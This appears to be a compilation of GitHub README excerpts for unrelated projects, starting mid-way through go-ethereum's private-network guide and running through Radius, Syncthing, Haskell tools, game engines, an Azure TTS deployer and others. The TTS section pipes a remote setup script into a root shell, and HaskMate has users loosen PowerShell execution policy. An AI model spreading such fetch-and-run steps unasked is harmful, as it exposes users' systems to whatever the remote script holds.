--ipcpath Filename for IPC socket/pipe within the datadir (explicit paths escape it)

You'll need to use your own programming environments' capabilities (libraries, tools, etc) to connect via HTTP, WS or IPC to a geth node configured with the above flags and you'll need to speak JSON-RPC on all transports. You can reuse the same connection for multiple requests!

Note: Please understand the security implications of opening up an HTTP/WS based transport before doing so! Hackers on the internet are actively trying to subvert Ethereum nodes with exposed APIs! Further, all browser tabs can access locally running web servers, so malicious web pages could try to subvert locally available APIs!

Operating a private network

Maintaining your own private network is more involved as a lot of configurations taken for granted in the official networks need to be manually set up.

Defining the private genesis state

First, you'll need to create the genesis state of your networks, which all nodes need to be aware of and agree upon. This consists of a small JSON file (e.g. call it genesis.json):

{
  "config": {
    "chainId": <arbitrary positive integer>,
    "homesteadBlock": 0,
    "eip150Block": 0,
    "eip155Block": 0,
    "eip158Block": 0,
    "byzantiumBlock": 0,
    "constantinopleBlock": 0,
    "petersburgBlock": 0,
    "istanbulBlock": 0,
    "berlinBlock": 0,
    "londonBlock": 0
  },
  "alloc": {},
  "coinbase": "0x0000000000000000000000000000000000000000",
  "difficulty": "0x20000",
  "extraData": "",
  "gasLimit": "0x2fefd8",
  "nonce": "0x0000000000000042",
  "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "timestamp": "0x00"
}

The above fields should be fine for most purposes, although we'd recommend changing the nonce to some random value so you prevent unknown remote nodes from being able to connect to you. If you'd like to pre-fund some accounts for easier testing, create the accounts and populate the alloc field with their addresses.

"alloc": {
  "0x0000000000000000000000000000000000000001": {
    "balance": "111111111"
  },
  "0x0000000000000000000000000000000000000002": {
    "balance": "222222222"
  }
}

With the genesis state defined in the above JSON file, you'll need to initialize every geth node with it prior to starting it up to ensure all blockchain parameters are correctly set:

$ geth init path/to/genesis.json

Creating the rendezvous point

With all nodes that you want to run initialized to the desired genesis state, you'll need to start a bootstrap node that others can use to find each other in your network and/or over the internet. The clean way is to configure and run a dedicated bootnode:

$ bootnode --genkey=boot.key
$ bootnode --nodekey=boot.key

With the bootnode online, it will display an enode URL that other nodes can use to connect to it and exchange peer information. Make sure to replace the displayed IP address information (most probably [::]) with your externally accessible IP to get the actual enode URL.

Note: You could also use a full-fledged geth node as a bootnode, but it's the less recommended way.

Starting up your member nodes

With the bootnode operational and externally reachable (you can try telnet <ip> <port> to ensure it's indeed reachable), start every subsequent geth node pointed to the bootnode for peer discovery via the --bootnodes flag. It will probably also be desirable to keep the data directory of your private network separated, so do also specify a custom --datadir flag.

$ geth --datadir=path/to/custom/data/folder --bootnodes=<bootnode-enode-url-from-above>

Note: Since your network will be completely cut off from the main and test networks, you'll also need to configure a miner to process transactions and create new blocks for you.

Running a private miner

In a private network setting a single CPU miner instance is more than enough for practical purposes as it can produce a stable stream of blocks at the correct intervals without needing heavy resources (consider running on a single thread, no need for multiple ones either). To start a geth instance for mining, run it with all your usual flags, extended by:

$ geth <usual-flags> --mine --miner.threads=1 --miner.etherbase=0x0000000000000000000000000000000000000000

Which will start mining blocks and transactions on a single CPU thread, crediting all proceedings to the account specified by --miner.etherbase. You can further tune the mining by changing the default gas limit blocks converge to (--miner.targetgaslimit) and the price transactions are accepted at (--miner.gasprice).

Contribution

Thank you for considering helping out with the source code! We welcome contributions from anyone on the internet, and are grateful for even the smallest of fixes!

If you'd like to contribute to go-ethereum, please fork, fix, commit and send a pull request for the maintainers to review and merge into the main code base. If you wish to submit more complex changes though, please check up with the core devs first on our Discord Server to ensure those changes are in line with the general philosophy of the project and/or get some early feedback which can make both your efforts much lighter as well as our review and merge procedures quick and simple.

Please make sure your contributions adhere to our coding guidelines:

Code must adhere to the official Go formatting guidelines (i.e. uses gofmt).
Code must be documented adhering to the official Go commentary guidelines.
Pull requests need to be based on and opened against the master branch.
Commit messages should be prefixed with the package(s) they modify.
- E.g. "eth, rpc: make trace configs optional"

Please see the Developers' Guide for more details on configuring your environment, managing project dependencies, and testing procedures.

Contributing to geth.ethereum.org

For contributions to the go-ethereum website, please checkout and raise pull requests against the website branch. For more detailed instructions please see the website branch README or the contributing page of the website.

License

The go-ethereum library (i.e. all code outside of the cmd directory) is licensed under the GNU Lesser General Public License v3.0, also included in our repository in the COPYING.LESSER file.

The go-ethereum binaries (i.e. all code inside of the cmd directory) are licensed under the GNU General Public License v3.0, also included in our repository in the COPYING file.

radius-project/radius

2023-10-29T01:53:01Z

Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps.

Radius

Radius is a cloud-native application platform that enables developers and the platform engineers that support them to collaborate on delivering and managing cloud-native applications that follow organizational best practices for cost, operations and security, by default. Radius is an open-source project that supports deploying applications across private cloud, Microsoft Azure, and Amazon Web Services, with more cloud providers to come.

Overview

The evolution of cloud computing has increased the speed of innovation for many companies, whether they are building 2 and 3-tier applications, or complex microservice-based applications. Cloud native technologies like Kubernetes have made it easier to build applications that can run anywhere. At the same time, many applications have become more complex, and managing them in the cloud increasingly difficult, as companies build cloud-native applications composed of interconnected services and deploy them to multiple public clouds and their private infrastructure. While Kubernetes is a key enabler, we see many organizations building abstractions over Kubernetes, usually focused on compute, to work around its limitations: Kubernetes has no formal definition of an application, it mingles infrastructure and application concepts and it is overwhelmingly complex. Developers also inevitably realize their applications require much more than Kubernetes, including support for dependencies like application programming interface (API) front ends, key/value stores, caches, and observability systems. Amidst these challenges for developers, their corporate IT counterparts also must enforce an ever-growing matrix of corporate standards, compliance, and security requirements, while enabling rapid application innovation.

Radius was designed to address these distinct but related challenges that arise across development and operations as companies continue their journey to cloud. Radius meets application teams where they are by supporting proven technologies like Kubernetes, existing infrastructure tools including Terraform and Bicep and by integrating with existing CI/CD systems like GitHub Actions. Radius supports multi-tier web-plus-data to complex microservice applications like eShop, a popular cloud reference application from Microsoft.

Key features of the Radius platform include:

Team Collaboration: Radius Applications and Environments allow developers to work with Operations on application definition and delivery.
Infrastructure Recipes: Swappable infrastructure that complies with organization best practicies and IT policy be default.
Application Graph: Understand how services and infrastructure in an application are interconnected.
Cloud Neutral: Deploy across development, on-premises and cloud environments with a consistent experience.
Incremental Adoption: Integrate Radius into existing workflows and existing catalogs of Infrastructure-as-Code templates.

Release status

This is an early release of Radius which enables the community to learn about and experiment with the platform. Please let us know what you think and open Issues when you find bugs or want to request a new feature. Radius is not yet ready for production workloads.

Getting started

Follow the getting started guide to install and try out Radius
Visit the Tutorials and User Guides to learn more about Radius and start radifying your apps

Getting help

❓ Have a question? - Visit our Discord server to post your question and we'll get back to you ASAP
⚠️ Found an issue? - Refer to our Issues guide for instructions on filing a bug report
💡 Have a proposal? - Refer to our Issues guide for instructions on filing a feature request

Community

We welcome your contributions and suggestions! One of the easiest ways to contribute is to participate in Issue discussions, chat on Discord server or the monthly community calls. For more information on the community engagement, developer and contributing guidelines and more, head over to the Radius community repo.

Contact us

Please visit our Discord server to contact us and we'll get back to you ASAP.

Community calls

Every month we host a community call to showcase new features, review upcoming milestones, and engage in a Q&A. All are welcome!

📞 Visit our community meetings page for upcoming dates and the meeting link.

Contributing to Radius

Visit Contributing for more information on how to contribute to Radius. To author Radius Recipes visit Author Custom Radius Recipes. To contribute to Radius documentation visit Radius documentation

Repositories

Radius is the main Radius repository. It contains all of Radius code and documentation. In addition, we have the below repositories.

Repo	Description
Docs	This repository contains the Radius documentation source for Radius.
Samples	This repository contains the source code for quickstarts, reference apps, and tutorials for Radius.
Recipes	This repo contains commonly used Recipe templates for Radius Environments.
Website	This repository contains the source code for the Radius website.
Bicep	This repository contains source code for Bicep, which is a DSL for deploying cloud resources types.
AWS Bicep Types	This repository contains the tooling for Bicep support for AWS resource types.

Security

Please refer to our guide on Reporting security vulnerabilities

Code of conduct

Please refer to our Radius Community Code of Conduct

syncthing/syncthing

2023-10-29T01:53:01Z

Open Source Continuous File Synchronization

Goals

Syncthing is a continuous file synchronization program. It synchronizes files between two or more computers. We strive to fulfill the goals below. The goals are listed in order of importance, the most important ones first. This is the summary version of the goal list - for more commentary, see the full Goals document.

Syncthing should be:

Safe From Data Loss

Protecting the user's data is paramount. We take every reasonable precaution to avoid corrupting the user's files.
Secure Against Attackers

Again, protecting the user's data is paramount. Regardless of our other goals, we must never allow the user's data to be susceptible to eavesdropping or modification by unauthorized parties.
Easy to Use

Syncthing should be approachable, understandable, and inclusive.
Automatic

User interaction should be required only when absolutely necessary.
Universally Available

Syncthing should run on every common computer. We are mindful that the latest technology is not always available to every individual.
For Individuals

Syncthing is primarily about empowering the individual user with safe, secure, and easy to use file synchronization.
Everything Else

There are many things we care about that don't make it on to the list. It is fine to optimize for these values, as long as they are not in conflict with the stated goals above.

Getting Started

Take a look at the getting started guide.

There are a few examples for keeping Syncthing running in the background on your system in the etc directory. There are also several GUI implementations for Windows, Mac, and Linux.

Docker

To run Syncthing in Docker, see the Docker README.

Vote on features/bugs

We'd like to encourage you to vote on issues that matter to you. This helps the team understand what are the biggest pain points for our users, and could potentially influence what is being worked on next.

Getting in Touch

The first and best point of contact is the Forum. If you've found something that is clearly a bug, feel free to report it in the GitHub issue tracker.

If you believe that you’ve found a Syncthing-related security vulnerability, please report it by emailing security@syncthing.net. Do not report it in the Forum or issue tracker.

Building

Building Syncthing from source is easy. After extracting the source bundle from a release or checking out git, you just need to run go run build.go and the binaries are created in ./bin. There's a guide with more details on the build process.

Signed Releases

As of v0.10.15 and onwards, release binaries are GPG signed with the key D26E6ED000654A3E, available from https://syncthing.net/security.html and most key servers.

There is also a built-in automatic upgrade mechanism (disabled in some distribution channels) which uses a compiled in ECDSA signature. macOS binaries are also properly code signed.

Documentation

Please see the Syncthing documentation site [source].

All code is licensed under the MPLv2 License.

apache/incubator-answer

2023-10-29T01:53:01Z

A Q&A platform software for teams at any scales. Whether it's a community forum, help center, or knowledge management platform, you can always count on Answer.

Answer - Build Q&A platform

A Q&A platform software for teams at any scales. Whether it’s a community forum, help center, or knowledge management platform, you can always count on Answer.

To learn more about the project, visit answer.dev.

Screenshots

Quick start

Running with docker

docker run -d -p 9080:80 -v answer-data:/data --name answer answerdev/answer:latest

For more information, see Installation

Plugins

Answer provides a plugin system for developers to create custom plugins and expand Answer’s features. You can find the plugin documentation here.

You can also check out the plugins here.

Contributing

Contributions are always welcome!

See CONTRIBUTING for ways to get started.

License

Apache License 2.0

micronaut-projects/micronaut-flyway

2023-10-30T01:28:51Z

Integration between Micronaut and Flyway

senacor/Hacking-Days-2013

2023-10-29T01:53:25Z

aim42/htmlSanityCheck

2023-10-29T01:53:25Z

Standalone (batch- and command-line) and Gradle-plugin html sanity checker - detects missing images, dead links and cross-references, duplicate link targets (anchors) and the like.

lut23/EC-Research-Project-Matt---Braden-

2023-10-29T01:53:25Z

Reaserch to see which of the three selecting algorithms (Fitness-proportionate selection, Stochastic universal sampling, and Tournament selection) have the most consistent results of returning an individual with the highest fitness

discourse/discourse-category-groups-component

2023-10-30T01:28:57Z

Group categories on your Discourse categories page

singpolyma/base58address

2023-10-29T01:32:57Z

Examples to accompany the book "Haskell in Depth"

This is the sample code to accompany the book Haskell in Depth (Vitaly Bragilevsky, Manning Publications 2021).

To get the source code on your system, you may want to clone this repository:

$ git clone https://github.com/bravit/hid-examples.git

To work with the code on your system, you need either:

Using `cabal` (3.0+)

To build the whole package, issue the following command:

$ cabal build

To build only one project component:

$ cabal build hello

To run a component:

$ cabal run hello
Up to date
Hello, world
$ cabal -v0 run hello
Hello, world
$ cabal run stockquotes -- data/quotes.csv -c
...
$ file chart.svg
chart.svg: SVG Scalable Vector Graphics image

To explore a component in REPL:

$ cabal repl hello
...
$ cabal repl stockquotes
ghci> :m StatReport
ghci> :type mean
mean :: (Fractional a, Foldable t) => t a -> a

To test the whole package:

$ cabal test

To run one test-suite:

$ cabal test radar-test

Using Stack

To build:

stack build

To run:

stack exec <executable> [ -- <arguments>]

For example:

stack exec stockquotes -- data/quotes.csv -c
...
$ file chart.svg
chart.svg: SVG Scalable Vector Graphics image

To test:

stack test

To explore a component in REPL:

$ stack repl :stockquotes
ghci> :m StatReport
ghci> :t mean
mean :: (Fractional a, Foldable t) => t a -> a

larjo/MixView

2023-10-29T01:53:35Z

Mixmeister Playlist Viewer

This is a simple program that parses Mixmeister playlists, which is a type of RIFF-file, into a stream of tokens.

There are two structures that the RIFF-file can be parsed into: A flat structure, equvalent to RiffChunks = List(Data|List)*

data Chunk = DataChunk Data
           | ListChunk List

data RiffChunks = RiffChunks List [Chunk]

and a tree structure:

data Tree = Leaf Data
          | Node Riff

data Riff = Riff Format [Tree]

Frost-Lord/HaskMate

2023-10-29T01:53:35Z

HaskMate is a Haskell-based project monitoring and automation tool designed to continuously watches for changes in your Haskell source files and automatically triggers a rebuild and re-execution of the project whenever a modification is detected.

HaskMate: Your Haskell Development Companion

HaskMate is a Haskell-based project monitoring and automation tool, designed to aid Haskell developers in streamlining their workflow. It continuously watches for changes in your Haskell source files and automatically triggers a rebuild and re-execution of the project whenever a modification is detected.

Crafted for simplicity and efficiency, HaskMate keeps an eye on your file modifications, relieving you from the constant back-and-forth manual building process. It allows developers to focus on what matters the most: writing high-quality Haskell code. With built-in support for smart detection and colorful console outputs, HaskMate is more than just a development tool; it's your mate in Haskell development.

Whether you're prototyping a new function, or debugging a complex piece of logic, HaskMate stands by you, ensuring your changes are instantly built and run, providing immediate feedback on your modifications. It's like having a vigilant companion by your side, dedicated to making your Haskell programming experience smoother and more enjoyable.

Embrace the Haskell way with HaskMate!

Custom Settings (Optional)

Delay: The time, in microseconds, until the program restarts after a change is made.
Ignore: Specify files to be ignored when changes are detected.
Script: Choose the script to run: stack, ghc, or cabal.
Custom Command: If you prefer a custom command to our preset scripts, enter it here.

{
  "delay": 1000000,
  "ignore": ["./logs.txt", "./src/loop.hs"],
  "script": "stack",
  "cmd": "echo hi && stack build" // Optional field for a custom event command
}

Key Features

Automatic File Watch: HaskMate tracks modifications to your Haskell source files in real-time. Once you save a change, it kicks into action.
Instant Build and Re-run: Upon detecting a file modification, HaskMate triggers a rebuild of your project, followed by an execution of the updated build.
Smart Detection: HaskMate employs an efficient change detection mechanism to ensure no unnecessary builds are run.
Colored Console Outputs: Keep track of what's happening through informative, color-coded console outputs.
Settings: Control what files you want to be monitored in the dir and the delay till it re-starts

Future Plans

Ability to customize the file watch pattern to include or exclude specific files or directories.
Integration with popular Haskell test frameworks for automated testing.

Installation and Usage

Prerequisites:
- Ensure that you have Haskell and Cabal installed on your system. You can download them from the official Haskell website: https://www.haskell.org/downloads.
Clone the Haskmate Repository:
- Download the latest version
- Click the Green code button
- Click Download ZIP
Install Haskmate Dependencies:
- Run the following command to install the required dependencies using Cabal:
```
cabal install --only-dependencies
```
Build Haskmate:
- Once the dependencies are installed, build Haskmate by running the following command:
```
stack build
```
Install Haskmate:
- To install Haskmate on your system, execute the install.ps1 in powershell:
```
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser && install.ps1
```
Verify the Installation:
- After a successful installation, you can check if Haskmate is working by running the following command:
```
haskmate --version
```
- If the installation was successful, it will display the version number of Haskmate.

Contributing

We warmly welcome and appreciate contributions from the community. To contribute:

Fork the repository.
Create a new branch for your feature or bug fix (git checkout -b feature/YourFeature).
Make your changes.
Commit your changes (git commit -m 'Add some feature').
Push to the branch (git push origin feature/YourFeature).
Open a new Pull Request.

Before submitting your Pull Request, please make sure to follow our coding style and conventions. Your contributions make HaskMate better - thank you!

redelmann/e-zimod-server

2023-10-29T01:53:35Z

Modeling and Simulation of Collaborative Energy Networks

crowplexus/Forever-Engine

2023-10-30T01:29:13Z

WORK IN PROGRESS FNF Engine

Friday Night Funkin': Forever

Forever is a complete recreation of Friday Night Funkin' which aims to bring a more customizable experience along with neat features for helping in the creation of mods.

Currently, Forever is in a HUGE development phase, but may already contain the features its meant to, feedback will always be appreciated and we hope to bring a neat modding tool for the community.

Forever is, and will always be, a Community-Driven Project as a love letter to it.

Forever is not associated with its previous owner

This is a complete revamp made as a love letter to the community

Not as a means to bring said previous owner back into it.

NOTICE:

You need the LATEST version of haxe to be able to compile Forever, previous versions lack a lot of useful syntax stuff that forever makes use of, Download Latest Haxe, then run setup.bat (or setup.sh if you are on Linux or Mac)

FEATURES

Current Features:
- FULL Discord Rich Presence Support.
- Scripting Support with HScript.
- Modding:
  - Being able to load Multiple Mods at once.
- Softcoded (allows you to add something of your own without modifying the source code):
  - Characters.
  - Note Skins.
  - Story Mode Levels.
  - Freeplay Songs.
  - Discord RPC.
  - Settings.
Planned Features:
- Note Coloring.
- More Freedom and Extensibility With Mods.

If you have any questions, please don't hesitate to friend request and DM me on Discord, @crowplexus

beihu235/NF-Engine-new

2023-10-29T01:53:46Z

Friday Night Funkin' - NF Engine

Installation:

You must have Haxe version 4.2.5, seriously, stop using older or newer versions, it won't work!

open up a Command Prompt/PowerShell or Terminal, type haxelib install hmm

after it finishes, simply type haxelib run hmm install in order to install all the needed libraries for Psych Engine!

If the compiler gives an error saying that hxCodec cannot be found read this issue to fix it: ShadowMario/FNF-PsychEngine#12770

Customization:

if you wish to disable things like Lua Scripts or Video Cutscenes, you can read over to Project.xml

inside Project.xml, you will find several variables to customize Psych Engine to your liking

to start you off, disabling Videos should be simple, simply Delete the line "VIDEOS_ALLOWED" or comment it out by wrapping the line in XML-like comments, like this 

same goes for Lua Scripts, comment out or delete the line with LUA_ALLOWED, this and other customization options are all available within the Project.xml file

NF Engine Credits:

NF|Beihu - Creator

Psych Engine Credits:

Shadow Mario - Programmer
RiverOaken - Artist
Yoshubs - Assistant Programmer

Special Thanks

bbpanzu - Ex-Programmer
Yoshubs - New Input System
SqirraRNG - Crash Handler and Base code for Chart Editor's Waveform
KadeDev - Fixed some cool stuff on Chart Editor and other PRs
iFlicky - Composer of Psync and Tea Time, also made the Dialogue Sounds
PolybiusProxy - .MP4 Video Loader Library (hxCodec)
Keoiki - Note Splash Animations
Smokey - Sprite Atlas Support
Nebula the Zorua - LUA JIT Fork and some Lua reworks

Features

Attractive animated dialogue boxes:

Mod Support

Probably one of the main points of this engine, you can code in .lua files outside of the source code, making your own weeks without even messing with the source!
Comes with a Mod Organizing/Disabling Menu.

Atleast one change to every week:

Week 1:

New Dad Left sing sprite
Unused stage lights are now used
Dad Battle has a spotlight effect for the breakdown

Week 2:

Both BF and Skid & Pump does "Hey!" animations
Thunders does a quick light flash and zooms the camera in slightly
Added a quick transition/cutscene to Monster

Week 3:

BF does "Hey!" during Philly Nice
Blammed has a cool new colors flash during that sick part of the song

Week 4:

Better hair physics for Mom/Boyfriend (Maybe even slightly better than Week 7's 👀)
Henchmen die during all songs. Yeah :(

Week 5:

Bottom Boppers and GF does "Hey!" animations during Cocoa and Eggnog
On Winter Horrorland, GF bops her head slower in some parts of the song.

Week 6:

On Thorns, the HUD is hidden during the cutscene
Also there's the Background girls being spooky during the "Hey!" parts of the Instrumental

Cool new Chart Editor changes and countless bug fixes

You can now chart "Event" notes, which are bookmarks that trigger specific actions that usually were hardcoded on the vanilla version of the game.
Your song's BPM can now have decimal values
You can manually adjust a Note's strum time if you're really going for milisecond precision
You can change a note's type on the Editor, it comes with five example types:
- Alt Animation: Forces an alt animation to play, useful for songs like Ugh/Stress
- Hey: Forces a "Hey" animation instead of the base Sing animation, if Boyfriend hits this note, Girlfriend will do a "Hey!" too.
- Hurt Notes: If Boyfriend hits this note, he plays a miss animation and loses some health.
- GF Sing: Rather than the character hitting the note and singing, Girlfriend sings instead.
- No Animation: Character just hits the note, no animation plays.

Multiple editors to assist you in making your own Mod

Working both for Source code modding and Downloaded builds!

Story mode menu rework:

Added a different BG to every song (less Tutorial)
All menu characters are now in individual spritesheets, makes modding it easier.

Credits menu

You can add a head icon, name, description and a Redirect link for when the player presses Enter while the item is currently selected.

Awards/Achievements

The engine comes with 16 example achievements that you can mess with and learn how it works (Check Achievements.hx and search for "checkForAchievement" on PlayState.hx)

Options menu:

You can change Note colors, Delay and Combo Offset, Controls and Preferences there.
On Preferences you can toggle Downscroll, Middlescroll, Anti-Aliasing, Framerate, Low Quality, Note Splashes, Flashing Lights, etc.

Other gameplay features:

When the enemy hits a note, their strum note also glows.
Lag doesn't impact the camera movement and player icon scaling anymore.
Some stuff based on Week 7's changes has been put in (Background colors on Freeplay, Note splashes)
You can reset your Score on Freeplay/Story Mode by pressing Reset button.
You can listen to a song or adjust Scroll Speed/Damage taken/etc. on Freeplay by pressing Space.
You can enable "Combo Stacking" in Gameplay Options. This causes the combo sprites to just be one sprite with an animation rather than sprites spawning each note hit.

astroicers/outline-terraform-aws

2023-10-30T01:29:13Z

This project aims to deploy the Outline Wiki on AWS using Terraform and Ansible.

goodard/code9

2023-10-30T01:29:13Z

Levi9 code9 project

Azure/alz-terraform-accelerator

2023-10-30T01:29:13Z

Azure Landing Zones Terraform Accelerator

DataDog/tfc-workshop

2023-10-29T01:53:45Z

terraform-aws-modules/terraform-aws-sqs

2023-10-29T01:53:45Z

Terraform module which creates SQS resources on AWS 🇺🇦

i-am-alice/2nd-devs

2023-10-29T01:33:22Z

aidevs2

To install dependencies:

bun install

To run:

bun run index.ts

This project was created using bun init in bun v1.0.0. Bun is a fast all-in-one JavaScript runtime.

x-dr/tts

2023-10-29T01:33:22Z

微软azure文本转语音音频下载

Demo : https://tts.131213.xyz/

本文由GitHub Copilot 生成

1. 介绍

本项目是基于微软azure的文本转语音服务，通过调用微软azure的api接口，将文本转换为语音，然后下载到本地。

2. 安装说明

利用Cloudflare Workers部署

新建一个 Cloudflare Worker
将 cf_worker.js 中的代码复制到 Cloudflare Worker 中并部署即可

修改前端

https://raw.githubusercontent.com/x-dr/cf_pages/main/tts.html 是前端代码，想修改的自己修改cf_worker.js中的下面行就行

    const html = await fetch("https://raw.githubusercontent.com/x-dr/cf_pages/main/tts.html")

利用docker部署

下载docker镜像

docker pull gindex/tts-azure:latest

运行容器

docker run -itd \
           --name tts \
            -p 3035:3035 \
           --restart=always \
           gindex/tts-azure:latest

访问地址

http://ip:3035/

利用Vercel部署

利用Linux服务器部署

安装nodejs (如果已经安装过nodejs则跳过此步骤)

curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install -y nodejs

安装git (如果已经安装过git则跳过此步骤)

sudo apt-get install git

下载项目

git clone https://github.com/x-dr/tts.git

安装依赖

cd tts
npm install

运行项目

node index.js

访问地址

http://ip:3035/

3. 使用说明

EAGLECRAFTARCHIVE/EagleCraft-Download

2023-10-29T01:33:22Z

All the fastlane docs

fastlane docs

This repo contains all documentation for fastlane. You can find the .md files inside the docs folder.

To preview the updated documentation locally, just clone the repo, modify the file, and run. Note that some of the files are in generated folder and are later copied with mkdocs pre-build hook.

mkdocs serve

The live version is available on docs.fastlane.tools.

Why new docs?

You can find more information here

Deploy changes

Once a PR is merged into master, the latest version will automatically be deployed to docs.fastlane.tools by one of the hard-working fastlane bots. No need to do anything manually. The resulting HTML files are stored in the gh-pages branch.

Installation of mkdocs

brew install python3 # if you don't have pip already
brew install pipenv
pipenv --three
# install dependencies from Pipfile.lock and run shell
pipenv install
pipenv shell

Adding a Python dependency

Likely, to add a Markdown extension, install it with pipenv install <some extension> after making sure the virtualenv is loaded (pipenv shell).

Troubleshooting local docs server

Running a local server with mkdocs serve takes several minutes. It looks like mkdocs needs some time to read available-plugins.md. It can be confirmed by running mkdocs serve --verbose as mkdocs is stuck at reading this file.

To test changes on pages other than the list of available plugins, it is convenient to edit docs/generated/available-plugins.md, removing all of its content and saving the file before running mkdocs serve.

PCrnjak/PAROL6-Desktop-robot-arm

2023-10-29T01:53:56Z

PAROL6-Desktop-robot-arm

https://source-robotics.com

If you are interested in beta batch of PAROL6 PCB? Fill this form and get contacted when available: https://forms.gle/sZqHVLPoMJxuVAyJ9

If you are interested in this robotic arm fill out this form: https://forms.gle/XkSvStwnQxw1f8xL8

Join Discord community!

PAROL6 is a high-performance 3D-printed desktop robotic arm. The design approach of PAROL6 was to be similar to industrial robots in terms of mechanical design, control software, and usability. Control software, GUI, and robots STL files are open-source. You can build your own PAROL6 robot by following the instructions on this page.

How to start building?

Documentation:

More about PAROL6

Project is under GPLv3 Licence

wowchemy/wowchemy-hugo-themes

2023-10-29T01:53:56Z

😍 EASILY BUILD THE WEBSITE YOU WANT - NO CODE, JUST MARKDOWN BLOCKS! 使用块轻松创建任何类型的网站 - 无需代码。一个应用程序，没有依赖项，没有 JS

中文

Wowchemy: the all-in-one website builder

Join 750,000+ Sites. No Code. Easily Create Future-Proof Websites ✏️ 📰 🚀

🔥 1. Create any kind of website for free with Hugo-powered blocks - from landing pages, knowledge bases, and courses to professional resumés, conferences, and tech blogs

🎨 2. Personalize a beautiful starter template with 50+ light/dark color themes, language packs, and blocks

🛋 3. Optionally, write from your sofa or on the go with the integrated open source Content Management System (CMS) based on Decap CMS

Check out the latest demos of what you'll get in less than 60 seconds, or get inspired by other creators.

👉 Get Started
📚 View the documentation
🙋‍♀️ Have a question?
- Chat with us now on Discord or explore the Troubleshooting Guide and Q&A Forum
- Also, check out Hugo Forum for Hugo Qs and Netlify Forum for Netlify Qs
🐦 Share your Wowchemy site with the community on Twitter: @wowchemy @GeorgeCushen #MadeWithWowchemy
🗳 Take the survey and help us improve #OpenSource
⬆️ Updating? View the Update Guide and Release Notes
🚀 Contribute improvements or suggest improvements

💙 We ask you, humbly, to support this open source movement

Today we ask you to defend the open source independence of the Wowchemy website builder and themes 🐧

We're an open source and open science movement that depends on your support to stay online and thriving, but 99.9% of our creators don't give; they simply look the other way 🤦🏻‍♀️

😍️ Click here to become a GitHub Sponsor, unlocking awesome perks such as exclusive templates, widgets, and tutorials

Business Sponsors

Starter Templates

Wowchemy is a no-code framework for creating any kind of website using widgets. Each site is 100% customizable to make it your own!

Choose from one of the starter templates to easily get started:

The Future of Technical Content Writing

Write rich, future-proof content using standardized Markdown along with bundled extensions for math and diagrams. Edit in the open source CMS or via an editor such as the online GitHub Editor, Jupyter Notebook, or RStudio! Learn more

Features

Key features:

Page builder - Create anything with blocks and elements
Edit any type of content - Blog posts, publications, talks, slides, projects, and more!
Create content in Markdown, Jupyter, or RStudio
Plugin System - Fully customizable color and font themes
Display Code and Math - Code highlighting and LaTeX math supported
Integrations - Google Analytics, Disqus commenting, Maps, Contact Forms, and more!
Beautiful Site - Simple and refreshing one page design
Industry-Leading SEO - Help get your website found on search engines and social media
Media Galleries - Display your images and videos with captions in a customizable gallery
Mobile Friendly - Look amazing on every screen with a mobile friendly version of your site
Multi-language - 35+ language packs including English, 中文, and Português
Multi-user - Each author gets their own profile page
Privacy Pack - Assists with GDPR
Stand Out - Bring your site to life with animation, parallax backgrounds, and scroll effects
One-Click Deployment - No servers. No databases. Only files.

Themes

Wowchemy comes with automatic day (light) and night (dark) mode built-in. Alternatively, click the moon icon in the top right of one of the Demos to set your preferred mode!

Choose a stunning theme for your site and customize it to your liking:

Browse more templates and themes...

Ecosystem

Bibtex to Markdown: Automatically import academic publications from BibTeX to Markdown files
Awesome Hugo: Scripts to help migrate content to new versions of Hugo

Join the community

Feel free to star the project on Github, join the community on Discord, and follow @wowchemy on Twitter to be the first to hear about new features.

License

The Wowchemy Hugo Themes repository is released under the MIT license.

kwmorris/DnD

2023-10-29T01:53:56Z

Kyle's DnD stuff

DnD

woowacourse-precourse/java-baseball-6

2023-10-29T01:54:44Z

미션 - 숫자 야구

🔍 진행 방식

미션은 기능 요구 사항, 프로그래밍 요구 사항, 과제 진행 요구 사항 세 가지로 구성되어 있다.
세 개의 요구 사항을 만족하기 위해 노력한다. 특히 기능을 구현하기 전에 기능 목록을 만든다.
기능 요구 사항에 기재되지 않은 내용은 스스로 판단하여 구현한다.

📮 미션 제출 방법

미션 구현을 완료한 후 GitHub을 통해 제출해야 한다.
- GitHub을 활용한 제출 방법은 프리코스 과제 제출 문서를 참고해 제출한다.
GitHub에 미션을 제출한 후 우아한테크코스 지원 사이트에 접속하여 프리코스 과제를 제출한다.
- 자세한 방법은 제출 가이드 참고
- Pull Request만 보내고 지원 플랫폼에서 과제를 제출하지 않으면 최종 제출하지 않은 것으로 처리되니 주의한다.

🚨 과제 제출 전 체크 리스트 - 0점 방지

기능 구현을 모두 정상적으로 했더라도 요구 사항에 명시된 출력값 형식을 지키지 않을 경우 0점으로 처리한다.
기능 구현을 완료한 뒤 아래 가이드에 따라 테스트를 실행했을 때 모든 테스트가 성공하는지 확인한다.
테스트가 실패할 경우 0점으로 처리되므로, 반드시 확인 후 제출한다.

테스트 실행 가이드

터미널에서 java -version을 실행하여 Java 버전이 17인지 확인한다. Eclipse 또는 IntelliJ IDEA와 같은 IDE에서 Java 17로 실행되는지 확인한다.
터미널에서 Mac 또는 Linux 사용자의 경우 ./gradlew clean test 명령을 실행하고, Windows 사용자의 경우 gradlew.bat clean test 또는 ./gradlew.bat clean test 명령을 실행할 때 모든 테스트가 아래와 같이 통과하는지 확인한다.

BUILD SUCCESSFUL in 0s

🚀 기능 요구 사항

기본적으로 1부터 9까지 서로 다른 수로 이루어진 3자리의 수를 맞추는 게임이다.

같은 수가 같은 자리에 있으면 스트라이크, 다른 자리에 있으면 볼, 같은 수가 전혀 없으면 낫싱이란 힌트를 얻고, 그 힌트를 이용해서 먼저 상대방(컴퓨터)의 수를 맞추면 승리한다.
- 예) 상대방(컴퓨터)의 수가 425일 때
  - 123을 제시한 경우 : 1스트라이크
  - 456을 제시한 경우 : 1볼 1스트라이크
  - 789를 제시한 경우 : 낫싱
위 숫자 야구 게임에서 상대방의 역할을 컴퓨터가 한다. 컴퓨터는 1에서 9까지 서로 다른 임의의 수 3개를 선택한다. 게임 플레이어는 컴퓨터가 생각하고 있는 서로 다른 3개의 숫자를 입력하고, 컴퓨터는 입력한 숫자에 대한 결과를 출력한다.
